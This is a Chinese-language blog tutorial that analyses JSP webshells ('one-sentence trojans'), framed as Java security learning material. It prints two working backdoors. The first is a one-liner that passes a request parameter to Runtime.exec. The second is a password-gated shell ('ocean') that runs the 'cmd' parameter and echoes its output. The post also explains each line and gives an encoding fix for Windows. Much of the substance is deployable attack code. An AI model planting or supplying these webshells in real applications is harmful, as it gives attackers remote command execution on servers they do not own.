Java安全-Java Web后门学习 Jsp 一句话分析

文章目录

  • Java Web后门
    • 一句话木马
    • 反射调用
    • 类加载(冰蝎马实现方式)
    • ELSE
    • 参考

Java Web后门

Java 是强类型语言,不能够像 PHP 那样利用字符串组合当作系统函数使用

Java 中常用的命令执行函数

  1. java.lang.Runtime.exec()
  2. java.lang.ProcessBuilder.start()

一句话木马

最简单的 jsp 一句话木马

<% Runtime.getRuntime().exec(request.getParameter("i"));%>

其实这就和 PHP 的一句话一样


但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell,下面的代码是一个有回显并且需要密码验证的 jsp 木马

<%
    if ("ocean".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while ((a = in.read(b)) != -1) {
            out.print(new String(b));
        }
        out.print("
"); } %>

Java安全-Java Web后门学习 Jsp 一句话分析_第1张图片

Runtime 类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec() 方法执行系统命令

request 为 JSP 内置对象,getParameter() 方法获取请求参数 cmd的值构建命令

其中:HTML里的 pre 标签,可定义预格式化的文本。在 pre 元素中的文本会保留空格和换行符。文本显现为等宽字体,经常会在要保持文本格式的时候使用 pre 标签,比如当我们要展示源代码的时候,只要放一个 pre 标签,然后把源代码直接复制,粘贴,然后在页面上就可以保持好格式。不会像放在其它标签里那样,把换行和空格都自动折叠了

执行效果如下

Java安全-Java Web后门学习 Jsp 一句话分析_第2张图片

Windows 操作系统中可能会带来乱码问题,可以在文件头加上以下两句解决

<%@ page contentType="text/html;charset=GBK"%>

你可能感兴趣的:(面试,学习路线,阿里巴巴,java,java进阶,后端)